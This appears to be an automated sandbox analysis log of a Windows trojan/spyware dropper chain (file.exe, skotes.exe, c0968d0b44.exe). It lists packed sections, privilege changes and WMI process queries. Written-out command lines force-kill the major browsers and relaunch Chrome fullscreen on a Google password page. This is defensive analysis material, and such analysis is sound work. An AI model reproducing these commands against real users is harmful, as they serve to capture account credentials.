Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A6CAF0	6_2_00A6CAF0
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A7CC39	6_2_00A7CC39
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A96DD9	6_2_00A96DD9
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A7D065	6_2_00A7D065
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A691C0	6_2_00A691C0
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A7B119	6_2_00A7B119
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A81394	6_2_00A81394
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A81706	6_2_00A81706
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A8781B	6_2_00A8781B
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A819B0	6_2_00A819B0
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A67920	6_2_00A67920
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A7997D	6_2_00A7997D
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A87A4A	6_2_00A87A4A
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A87CA7	6_2_00A87CA7
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A81C77	6_2_00A81C77
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A99EEE	6_2_00A99EEE
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AEBE44	6_2_00AEBE44
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A81F32	6_2_00A81F32

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: String function: 00A69CB3 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: String function: 00A80A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: String function: 00A7F9F2 appears 40 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981533123297003
Source: file.exe	Static PE information: Section: idnhyhrx ZLIB complexity 0.9948421120100274
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981533123297003
Source: skotes.exe.0.dr	Static PE information: Section: idnhyhrx ZLIB complexity 0.9948421120100274
Source: random[1].exe0.5.dr	Static PE information: Section: rdaizazf ZLIB complexity 0.9948355098785363
Source: 7d57c960f4.exe.5.dr	Static PE information: Section: rdaizazf ZLIB complexity 0.9948355098785363
Source: 634af23a05.exe.5.dr	Static PE information: Section: rdaizazf ZLIB complexity 0.9948355098785363

Source: 7d57c960f4.exe, 00000014.00000003.2811437175.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, 7d57c960f4.exe, 00000014.00000002.2852426482.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, 7d57c960f4.exe, 0000002E.00000002.3013609480.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, 7d57c960f4.exe, 0000002E.00000003.2972457560.0000000005030000.00000004.00001000.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3176320854.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, 7d57c960f4.exe, 00000048.00000003.3136026898.00000000054A0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@171/27@16/8

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AD37B5 GetLastError,FormatMessageW,

6_2_00AD37B5

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AC10BF AdjustTokenPrivileges,CloseHandle,		6_2_00AC10BF
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AC16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_00AC16C3

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AD51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_00AD51CD

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AEA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_00AEA67C

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AD648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

6_2_00AD648E

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A642A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_00A642A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2964:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3940:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 57%
Source: file.exe	Virustotal: Detection: 59%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7d57c960f4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7d57c960f4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7d57c960f4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1912,i,10956692214313634026,6000861696528189421,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1948,i,592972262324258279,17265959936427429495,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=2008,i,5070483553180137210,3664771771658724366,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
